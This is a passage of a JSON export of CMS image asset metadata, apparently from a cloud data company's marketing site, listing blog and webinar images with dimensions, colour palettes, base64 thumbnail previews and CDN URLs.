FsG6J6uY7NNpXMXc+x++5w8JQmpXpEV5khhDUhiGsHRm8gQt4Dy/iDeTxHi7gC17BeajAbksOXc0samm2BOrrl6hpuU1z+wqtnWt0ddxkxptiOTRBNpBGkGn7MTbGabJM02JLs8d+ErP9NNaOHHbnEqYtULMFVjTkMdnu4fCs4u5ZZdy1wNWuIFe7eplqP4qwXRmiXNOHXDeIUj+MqiKGujKOVkqir51BrMmUktVS8YfzSLsL2JwP6T6yzmD4JYXgGda7bax1WbmyP4CwTRGkdMojlKkG2KGJUK6NIdPFUeiTqCtTGIxp6hoyNDSewrT3Mgd6VgiNvGN04j3nBm7w5JCfx+6DnO+MFRcG2aEqruxHpg0j00WR6cZQ6BMoDcfRSSksLceJuOIkfXGi/hx9g2tEj31mfOorkfArRj23iLmu4TtwH6FcFUTUhqiSIlTUjqOpHEMujqEQ4ygMSQzV0/gdcW5EB3g208ujdIrZqTUmsz9Izm7SO/yRfe7XWJwbmJ0bCDJVL5IYpL42inFXAm31xH+gfgt8kAjxfdHDp0txrs0/I5v7STb3m76xL1gOvqG5c4Pm/esIZcogcnUIpW4ApT6CXBwpJcvFYnISTVUKR+skt2N9/Fx2sXl9nHv5l8zl/3Am/5dw4hs2z1uaOl5han/OP64EheEJO92FAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#404374","foreground":"#fff","population":0.59,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":7.93,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":7.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5a3c8","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8953a","foreground":"#000","population":1.19,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a17a8a","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e14c11","foreground":"#fff","population":1.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven for Streaming.png","path":"images/sczeoy4w/production/2870213a234c6b41c166ea61fcb0c585508896b6-1200x628.png","sha1hash":"2870213a234c6b41c166ea61fcb0c585508896b6","size":215498,"uploadId":"mr2fHc5IRxbdP0AbEQ1AzwsGAfZCwBdi","url":"https://cdn.sanity.io/images/sczeoy4w/production/2870213a234c6b41c166ea61fcb0c585508896b6-1200x628.png"} {"_createdAt":"2024-04-11T07:03:27Z","_id":"image-40147149253fd05a42fddc83cedfa6d2c7075392-1001x715-png","_rev":"d2giYjEzfVVwslCJ2UEkK2","_type":"sanity.imageAsset","_updatedAt":"2024-04-11T07:03:27Z","assetId":"40147149253fd05a42fddc83cedfa6d2c7075392","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VD6t32W5NX$;9;x2W8W,xJW+J2fosraa$nX1s?o4NWjL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4,"height":715,"width":1001},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAACy0lEQVQokV3Ju4/cRADHcXvGY894PF4/xu/3er0vr3fX+/JmOQl0CYmSA1IEAbkiQURBIomiKElBSiqaNGnoIpAQxbVISEHiX6BBlPwx6C4SEvnpW/0+wlG2PqSrfbpax+08Wk6Dduit++42d3YJ3wX2jvPOdPa6d6DRQUkPsNiL5V7s78WiEy5Fyy5crMP53G8m3nzgLAp7mVptZK0Cc+UaK8fcpt7lafHppPrCz09wfADxBkQbEK6FrVev3OncmYz5pLSmqVmHvdrXa1evHb22WZ3bRyfjJ8+Of3p2/ezG+vswuYl4C+0GWo3Q2qPGGo7Nqm9UcW/osYprlUVLk/aN88rGu/a8e/361t8/fP7Pw+Pfm/43xFhIrJK0SpgZ5bjXL/UiYbmvFZxmhpowHGk4pDjQcDhzrzzZ/vjywz+/u/rX/ffetPkDqk0lnCCcCGOWDbQ0pUlKk1kvbY0kpj6VOUYWRiZBdmUf3W1ePe/ePNr/cXt11sRfUtKXkIOQIwxolJEwwP5QC0+D/HFaHEyPIR1BhqAmS6w0u9P65aPtr1/vfvts+fMsPKVKBKEuwZ6QEz9UXC7zIXW+CpMXWfa+yZmkQkAgwBIkiT77pHpxr/3lzurspH5VOTcwsiFQIVCFWOEesixkJhr/wA0/DuPa5FRWIVCAqEgS5izexB9dHz29Nvl2W9wJrEZBDIjnKgTI4lLPxlYe5O141s0W43JkGDaEiijKikI9N5oM2l1z3C2uzqeHJC4J0YEoi6IsuMgwITOJUWaDzabrusOsnluWA6ECAJJlwm1vNKrPaXepaZZhmGBMAZABQIIlMQZVilTb5EmcZmnueQEhFADpbVghtu0kcZYmuev6qkolCb0lwSa9HmYaplTVGNMZ0zVNI0TFmFyEMSaqSi+IUar9d2JMhCJIUz+OvCjww+Bivh943v/y/SAIzvUd+hc3m2oPIbxy8gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#392134","foreground":"#fff","population":2.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#640c10","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#392134","foreground":"#fff","population":2.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b190cd","foreground":"#000","population":0.62,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#da6efa","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a85c54","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#da3731","foreground":"#fff","population":1.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"dragonflyblogpost2final.png","path":"images/sczeoy4w/production/40147149253fd05a42fddc83cedfa6d2c7075392-1001x715.png","sha1hash":"40147149253fd05a42fddc83cedfa6d2c7075392","size":82250,"uploadId":"fSG9OzfscnaMoVs49nza4iSOhEQMjb3I","url":"https://cdn.sanity.io/images/sczeoy4w/production/40147149253fd05a42fddc83cedfa6d2c7075392-1001x715.png"} {"_createdAt":"2024-04-11T07:03:40Z","_id":"image-954ca2e256317ded93acb830c4d4828de86efac1-1348x709-png","_rev":"d2giYjEzfVVwslCJ2UEkTu","_type":"sanity.imageAsset","_updatedAt":"2024-04-11T07:03:40Z","assetId":"954ca2e256317ded93acb830c4d4828de86efac1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M25;zZXG~Xxd?Y?;^AxJR#sF~m-HorRixd","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9012693935119886,"height":709,"width":1348},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB10lEQVQokTXIi2qjQACFYaHe5j7j6KhjHC9VE2Nimtg0vTelXbpQ2IVlYdn3f5GlTRc+fg7H+n3z/n7x/LZ5Om7u7sbDYb2/GqbDMF0Ol/NmFZuWmQ6bOf5ox8pFdL6edbt+c//08tP6Ph6P7eG2mS7PN2M9rKrlUCyGctGXi1zXNMq9KHf+c+MC60bmi6Ld7a9frYfuapv2C1nX0pggm4k0+6RFKnmCeOyI5OxLagcaqiLQbVatN7sH69Bs+7AqiNZExTiMsDyROOBEQhq6LLJZdPZBOVyxuJ2ZQ1FNq/Ha2tXrRpoMK4WkRCJA/ERAThD3EXewOCPCIRIIjYJcJdu++tWUj/0wWWPVF4FWMAgAY4DQL5j4BAHiQeph4dEQsiSOL3RyZdKbXfV3bo7dfLT6stNcCcCYj7GPPmEKKAWM4ZCSWDCTqo2Sy06/LmfvXfJ4U/xZzu6bZmk1pg6p5JALJChkDHIOpaKziGSZmOfBOg/GIf1WRftV8rxN3/ro+jb70Sf7qmotk+UUUQq4QCEFgkHJQaiIkShLSZ3RLsZlyVcxqXPWlazXpGrFaMKmbedWpjMIoWu7nu27tud+1Pcd5NnAtyE4DQe5NvAcePqRi5WMp2n6B2khPfiz6fRvAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c34","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#34048c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bebabe","foreground":"#000","population":1.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bebabe","foreground":"#000","population":1.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a242dd","foreground":"#fff","population":0.96,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f6494","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c442e2","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"dragonflyblogpostpic1FINAL.png","path":"images/sczeoy4w/production/954ca2e256317ded93acb830c4d4828de86efac1-1348x709.png","sha1hash":"954ca2e256317ded93acb830c4d4828de86efac1","size":200656,"uploadId":"QBKN0Sk7QG05d7l6seKZBLbNLqXzMEhR","url":"https://cdn.sanity.io/images/sczeoy4w/production/954ca2e256317ded93acb830c4d4828de86efac1-1348x709.png"} {"_createdAt":"2024-05-23T10:59:27Z","_id":"image-dac832e4988d6431266062d3a0b713019cc7847e-1200x630-png","_rev":"vrpf2NCX0SUkQ9zBLA9o8T","_type":"sanity.imageAsset","_updatedAt":"2024-05-23T10:59:27Z","assetId":"dac832e4988d6431266062d3a0b713019cc7847e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBEL2W0?|,=D0;?vxaIoX7ni9^wHjEJ:-6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsSAAALEgHS3X78AAAC9UlEQVQokS3P/VOSBwDAcf6Ebl0bDl8REBH0sfINdoBpkbwqD6A+CuhjhDQFnaAnYrpQ6pCQ6tJrnW2FbbXdNnvZVbfbL9vt9sPu9i99d1H/wPc+X8UpZYjPmiLUa2M06b+kxbCEuiNDqymLVthCf24XQ08RQ+8+wsA+/ktfsyYuUBiXyQeusC3GuS9N8mBaojQ5j+LTRomu3iQ2xyY2xzaDI7sMe4oMe8pccFUY8R/iHT/C4X+Ew/uQhZl97qVyfJtKsh+9yo1AjKPpMZ7PuDmKTKJQNk/RZ03jFgs4/bdwjhXxhip4Q/fwhA4Ihh8hyceI4aeEwk/YXLzL9xtZXm4scpxK8CA2z0lilDfxizyb9aGoa5mm35bGG7yJL7SHSyzhEss4/XdwBw8Qp44IhB8zKlUJy8fcWqlwkkvxRy7Ku+vX+CWX4cVagqfxKGUpjuJzdRjLhVU8gUIt6AuVa0KneIchdwXL8D7m4bv0Dx3icB+wOZPlVXKMv5ft/JV28uKrCI+vJShFkqwFch+EA/YMl315HL7323t4gpWa0Dy0R9vZHVq7CrQKJYTeIgvOOK9m+/kvoeOf+U5ez9l4Puvim7BEYSKJ4rRqArUhhvH8EqaeNF3965y1bHHuizymvh103TtougqoO4vou/cIDS5Tlez8G9fx+1wPP0QcvJatnMiXqEgxFKeUQc40TFOnnkOlSdDQlqS5fQW1cR1N53W0Qh6NcJPWriLa7jI2S57t0Uneyud5I/fzJOzipWzn3RUrD8NTKD5RBmhsmESjkdF0LKI2LtOoX6Fel6FBn6XJsE2Lcbcm1HWXsZrzZNwyv0Yt/BkT+DF6kWfREX6bG+Rn2YniTJ2IqSVEX2eMHvMqgnkDjWkVlS6DSrdOY/sWzR07H4O3sVtukHbL/BS28lbu41AKUpmI8F1EpBoVUZxWBlA3jWPQy7QLS7QJ6dqySpuhvu1j0Pgh+H7ZMrBLynWV6tQQ1enLZP0LrPuXKU3EuC3N8z+iF8ejS8C09gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7a5067","foreground":"#fff","population":7.9,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1c7c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7a5067","foreground":"#fff","population":7.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1a2c6","foreground":"#000","population":0.73,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d79247","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b5e5f","foreground":"#fff","population":2.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed6e14","foreground":"#fff","population":2.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Get Real – Real-time Data to Drive Real-time Business - THUMBNAIL.png","path":"images/sczeoy4w/production/dac832e4988d6431266062d3a0b713019cc7847e-1200x630.png","sha1hash":"dac832e4988d6431266062d3a0b713019cc7847e","size":165959,"uploadId":"7ReDBB32dcruBWY60duHEEexwYyALWuu","url":"https://cdn.sanity.io/images/sczeoy4w/production/dac832e4988d6431266062d3a0b713019cc7847e-1200x630.png"} {"_createdAt":"2024-03-25T09:33:56Z","_id":"image-5c4e9b08318460f2680e0fb4b5d7460696a8ae25-1200x628-png","_rev":"80Znsvx5FiXC5oBvpYE2QU","_type":"sanity.imageAsset","_updatedAt":"2024-03-25T09:33:56Z","assetId":"5c4e9b08318460f2680e0fb4b5d7460696a8ae25","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M37BKl~FI8${M^x|NFNEtSR:00M|oaD,aw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACjUlEQVQokSWSa3PSCBSG8wt2nG25J0AgCZAETCCVArWVYm9T8Vat1qofVrtaplsaoDegQC9rq4w6Oo4zu3/2cRo/nvPhPe9530e4EXxKSH6JnPkLLfcexdwmorzDF/0bf6xBQN4lmGgRUvaJqF3E1ABRGxBWjgkph4TVLmG1Ryh5RCDRQZgUn6Oab8mXdinOdnAqHUynhV7okJ06JjvVJ1ccYpfPcW5f4dweY1c+kiteYN46Q7MviGbOiFwfUfsIwdgLT2xhtc/Kw1OW7p9RXR4xv3LOYv2KxfqY5YdfuffkBw+e/Ud9/X9W135SW/1KaX5Mtjgmblwipf8lql8h+MTn6PY7yndazNQOqcwfMz3XZXruhErtjNnFS+4sf6J27wt369+orX6nuvKZUvUDhjMibowQU6eeYEwfI0yE19GzryiX32I5vzNMGjskzSYJ3UXW91Fzx+TLfcrVAYWZEebUCRm7i5rrEjd6SKkeYmpENHOJEJI3WVp4z5sNl6WlNqbTxCi4GIUOsu4SiO8ipVpU5vepP2ozt9DFLg2wSkPylXNulj6gWafEjSHRzPl1hhvUqg021/epLXa4WXSxpjtY00ekrQNE1UXSmhTKTebu7pAvt0lZR6TtLnrhFN25RLUuiBsDxFQfYSK4hq5tMFXYwsxvo2QbZOw97NKR96bpdEkaLSRtG0m9RuofgokmoWQbUet5rqT0kLB6SDDZRvjT/4iE+Ji09grF2CKqbaGYO57DW7NDnJkRKeuAoNxgUtrGH9vFH9/zmAurJ14hYaXnzX7ZRfjD95iJwBq+yDN80iaT4mv8sTeISoNYeo9Yuk1EdfHHG/g80F0Ccotg8sBjL6INCSUPCSRa3v4XJ/toWbseKbMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242750","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":9.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":9.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6c7db","foreground":"#000","population":7.66,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7981c3","foreground":"#fff","population":0.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676e97","foreground":"#fff","population":2.81,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":7.76,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Building to Win Webinar.png","path":"images/sczeoy4w/production/5c4e9b08318460f2680e0fb4b5d7460696a8ae25-1200x628.png","sha1hash":"5c4e9b08318460f2680e0fb4b5d7460696a8ae25","size":218175,"uploadId":"YCKbfNBepXJPWv6hSHSAXPvGTdQcFsts","url":"https://cdn.sanity.io/images/sczeoy4w/production/5c4e9b08318460f2680e0fb4b5d7460696a8ae25-1200x628.png"} {"_createdAt":"2024-03-13T12:35:26Z","_id":"image-7a047e39ffe836672c7e51bb1bf7a34db1e9b8ff-906x1302-png","_rev":"OV356XeIB1EzdOIfJ08Bbt","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T12:35:26Z","assetId":"7a047e39ffe836672c7e51bb1bf7a34db1e9b8ff","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"d9RC_L.7x]w09da%t5RilBVss8pI~WR%oyxaxuRPfitR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.695852534562212,"height":1302,"width":906},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAdCAYAAACqhkzFAAAACXBIWXMAABYlAAAWJQFJUiTwAAAEqklEQVRIiZWVyW8cRRSH/V8iBAi4cQoJEIkDEkIKAnJBiAglYlVIIkVhkaNIzkLsKAjs4MSO48R2vI1nenqZnt6qq/fp8YeqembiJRw4fFPTVdW/eku/V1NRso8XlfSDDC/I8cL/jy9KQjkkSmBKiRlWQNsMMd0Cu19pzF5J20zZ6yZ6VHSdAmu0Pqbnl3hhQRgPUMZNWT3B+vMWa8+77JkFRm+fbm+fXaNk6anPwpLD/CNbj2vbkrY91HvGmG6tRYOxoNOXbO4YPN+2aVsF3d5Q0zIrVjdCHj5xWXhk8c+yw/qOpOPUkz0NNY5XEIiqEVTKtisxHYndL3C8UqP+m70cw07pWIkeLTdv1vs5jpvh6P0FPT8nECML1U8Y1/iiOoTaoA5ThCP0c1QQeJKgFxD4SfMsqlFSRoIHESOOzjdrQ8Iww+q6GC0Tx/IIowyR1M2eFCUIImXyUigbtEA6WhuNcTKk7wo2N9o8fbLN9lYX1xUIOUCkzTtTaqMSMOyE5VWT+cVdFh62eLbp4gblocMcL2dltc3c3DJ3bi8yO7vMg8Ut9oyIIB7qvVrQiyruz29y5uw13j39Le99+D0XfrjN5q43OVmxum7z1Tc3OHX6Aqc+OM+J98/z0SeXuPnHE/3pjAT38aOCO3MrnDx9gVfe+IzX3z7L2S9/YWPLJk6bYEfJkKWVPT4+c4lX3/yc1976Qo/vnDjHr9cXtPWNoIqVrNjZtbkxs8DFy3e4cvUuf/61iusJZFZPEmKYAbNzy1z+8SY/nZvm4nczTF//m6drHfxoZKHanGQ1WV4SBBG27WI7LlEkyIvqkGCSDZBuSPfeY9Z+vsvWrWV80ydJy0mmJ4JFUSKEoN/va+I4phgLyiFC1mRFTeULgpl5Wl//jjG9QOaElFVNnB4RTNMc1+3T6XQwjC5hGJLnJUmcI4JEk6YFZZwQPVrDnL6Pu/CMPJQU5eCwoMwGZFmO7/sYhoFlWUgptdWJSBGeQPiCRKakSYJn2dhbLbyurZ9VaMbJe+FyWWmrWq2WFk3TlKoakMgCEeUaKTNEHOP1+7iOhd939cEq/scEy7IiCAJ2dnbY29sjSZJGcGJhTCozyrKkTBMK36WMQ6qqJNcuH7WwUFkOdAxN09SC6pAkzhC+RASSLC2oq5rSDsmXt6h2LYZ5SfGypKiXlfm9Xg/P88jynLIcIA+4nOUVRZTh3Fqn9ekM/pUHVFZ4PClKsKpqsizTYsrSoiioSuVyguhHCC8iS3MyP6V1bYXHJ3+j8/U98pb3kiynA7K80Ba6rqvRwc4KpHL5wGeTyxxrqc3G1UXM2XVyLz4uGCcVsUy0ZcplRRgGek6tqSpRlSBVRYgYx7TpbLWxOiZRFJFmxcstVNVhOw6O4+j/ei4dEKWjxitL/EDguJ6m5/r4QYSQ+fHSqwa1dlNlWdF8NvWklhtqwrgijEtCdRfHFZFUl1M96fKTSsmLkigMJ4KqrtWcHLmiu/aBLn6Y/cmhTQzTJoYqw8pdhef5xDLVLuvTD3Tu47wQ14IiGeg4hJG6xcZIItUYxu6MBMeX2FEOWTjuyE02VQkplKvjbt24evDi+i/+BYgsfeNo/ZCyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353b59","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e154d","foreground":"#fff","population":2.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0e154d","foreground":"#fff","population":2.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7afd8","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f470c8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae6a55","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e94a89","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-for-ai-holistic-view.png","path":"images/sczeoy4w/production/7a047e39ffe836672c7e51bb1bf7a34db1e9b8ff-906x1302.png","sha1hash":"7a047e39ffe836672c7e51bb1bf7a34db1e9b8ff","size":84163,"uploadId":"odTwd5TzliAS15YbXj1nUtdKUQ0mRq6P","url":"https://cdn.sanity.io/images/sczeoy4w/production/7a047e39ffe836672c7e51bb1bf7a34db1e9b8ff-906x1302.png"} {"_createdAt":"2024-03-25T09:49:02Z","_id":"image-14b82f9ef3f75411678d99baa5553fd28bf6b9de-1200x628-png","_rev":"80Znsvx5FiXC5oBvpYEDqc","_type":"sanity.imageAsset","_updatedAt":"2024-03-25T09:49:02Z","assetId":"14b82f9ef3f75411678d99baa5553fd28bf6b9de","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M37UW1~FDg$_RNXXR%M^o$R:4nM|j;D+jr","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACkklEQVQokR2S61PaeBSG8yd0ptsuxIAgyS8kgUAIGAmKClp1XXuZVrdub9Ot02prRbnUEkQu3tba7U5ndnZm9599OvDhfHjPh/edc55XuhXaJBx/Ttz4A2HvoqXfk7D2UVOHCLtJMttGywRMGm0UEaDopyjiFFltE1aPkbUAWTshrH7m56km0k/KU7TUDrniAV65QWG2hTPTwi218co9pstDCuUz8nMX5Oeuyc/d4JSuSXvnpKaH6M45UWPIxChE6yKFJn8fmy2vn7D2cMDK/SGVtQHVX85ZuX/NyoOvrD36m43Nf3jw239sbP3P+uN/qa5/o1i5Ie3dELOuiCQviZrXSHeUp5jOO/yFOrPVY/xKm5n5gJn5E0qVAeV7lyysfqH66zeWNr5TXf/O4tpfFBcvsNw+MauPog+IJC+YNG+QbstbmOkX+P4O2cIewv6AsA8Q9hGJVJ242UKz2+T8E/zFU9zZPqlCF8MJ0OyAmNkhondQ9D5R4wopHH/GytIub7aPWF1tkPGOyHhNMt4xaqpBKF4jotcpVZpsPGowvxzgFE/JFnvkSmdkipeI7ICY1SNqnI1+uE218p5nWy0qy03ShUPs6ZHxJ5LZFop2RETUcP0a80v75PwGevYzSSfAdAeY+StE9pyY1UXRO0i3Q48xxTYFdwfT2SNujKrzkXShRcYLsNyAKatORNsjou0yoX4kNFUjnGgwITpjwpFkD1k7JpRoIN2VnyBim6TMV+j2O+LmLnqmRn42wK8MmFkYYuXbKNo+ofgH5MQhslpnQnwiavSImWdEk92xlrUmUlR9wZR4iWq8RrXekrBGYA6w3Ca2F2B7XUx3BKCJmm4gMm1EtoPu9Mbnmvk/Seb6491ofgDfpm109ywvlAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242650","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":8.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142474","foreground":"#fff","population":8.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5c6db","foreground":"#000","population":7.9,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#767ec1","foreground":"#fff","population":0.63,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676e9a","foreground":"#fff","population":3.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":7.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Building to win webinar (with date).png","path":"images/sczeoy4w/production/14b82f9ef3f75411678d99baa5553fd28bf6b9de-1200x628.png","sha1hash":"14b82f9ef3f75411678d99baa5553fd28bf6b9de","size":221754,"uploadId":"JN09nHUnHcEaZf1JGlFqEuF25Dvo5pfg","url":"https://cdn.sanity.io/images/sczeoy4w/production/14b82f9ef3f75411678d99baa5553fd28bf6b9de-1200x628.png"} {"_createdAt":"2024-03-13T12:40:49Z","_id":"image-49003962fa2a8f11c66d9c74f1e59c825f6794f0-872x1220-png","_rev":"OV356XeIB1EzdOIfJ08X2z","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T12:40:49Z","assetId":"49003962fa2a8f11c66d9c74f1e59c825f6794f0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dJQv%pM_?w_3xufRj[t7ozWBn%xu4oIU?H%MoNogWUR%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7147540983606557,"height":1220,"width":872},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAcCAYAAABh2p9gAAAACXBIWXMAABYlAAAWJQFJUiTwAAAEaklEQVRIiY2V229URRzH+Wt8Mr74H/hg0JBgfPMBiFZRvMQoBBRQH0wkkfpAgsbGFF+U2HJ70BgqAtIbbem2FtjSbreF7d6657JnZs5ld885ux9zZrfdFor04Zc9M/ubz3xnfjPf2SW8FklIH8pWnem5PNduphm6fp+hG/e5ev2ejtHJZXJFtZH7+K/sxK5uZ4uFrMHZvj/54JMfOfTxDzre/egsPYfO8OXX5xmfyuKoCOk39RihIV1BW4FekweZEr1nLnPgnV7295zmwNu97HvrNG/sP8XRE/3cnlzA8xt4QYzwmtuq3NUFxlRMxcTUAy5eGeGXgRv8OnCDgYu3GLg8zN83ZymVbaI4ptaIdf4zgUE9olZrUFizGJtdYHh6nkyuRMF0MKVHI4xotVo0wh0C62FTDzBswV+Td/l9JEU2X8byfEy/htcIiZtNDVT+ToCNmDiOcaRi7kGWyX/nKawZCL+G7dcQQZ1GFO8cGNQiwijGD2pYdpWKYSKVS60REjQi/HpIPYyo1aMnliw6Fd8ACi+ZNcILIlw/RKkAJT1cr677dHXdAM+r67wkf4tCrw3VwI2z1Dk+0o2RIkBaAmlLpKghZb3ddnyds/lCiHWFXqKwAxFujFARQoUoWcO1HFSxhCqtIaseUnSAybfbXnI7mhvqukAVYlmKfN5iNWdglC1cw8ArlVBrZhumQoQlMco2haJNsVTFMCQiUZ4I6ijVQKUaGBWHTCbPfPoRD5eL2GUDt2IiTQcpG7huiFNVZJcK3JleZDqV0fmWpbYBejGOqFFeExSKVcplgW0IZMVErRlIS+IJD9eRPFwpalhqJsOSBrpPArvR7BSlqQuhDLu9ZNPRe+rZDlbF0ZMWSw6GqRCysbGHGig8Oo12h5OE20Q4NYQhEJZC2B7CdpFmUuWgXcD1yb3W1qKsl75SbZBerDCResjtOyvcnlhkfCzN+ESGsckso2MLTIynWcquYcu4fVw6t2Mdpm/KOnBxxabv3DWOHP+ZI8fPceTzfg4f+4lPP+vnw8N97Ovp5eD7Z/jtwijFSoAKugdabqdw9l6Boyd+5uU9J3hl70n2vP4Vr772hY6Xdh/juRd6eP7F9zjVe4lHBbkBFJsO+CaFLe7OF/nm2wH2dYz1zYPfdU2257QG7957ku/7/iBfEqhg602RW4BeSyf9M3yXC5eGGbx0iwuXRzbi4pVRzg/c1HEnlcGRAarzDMjtgO2KhZimQ2ZphZWVVSpGFduWWLbQ/YbZbvtBnXojerp9iQ7Q9SNyq3mGhq4yPDzM8nKWfD